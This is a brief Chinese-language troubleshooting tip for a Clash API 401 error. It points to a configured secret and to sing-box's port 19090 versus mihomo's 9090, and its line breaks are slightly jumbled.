Clash API返回401
- 客户端可能在配置中设置了— 这不是默认行为,但有可能发生
secret - 检查端口19090(sing-box的默认端口与mihomo的9090不同)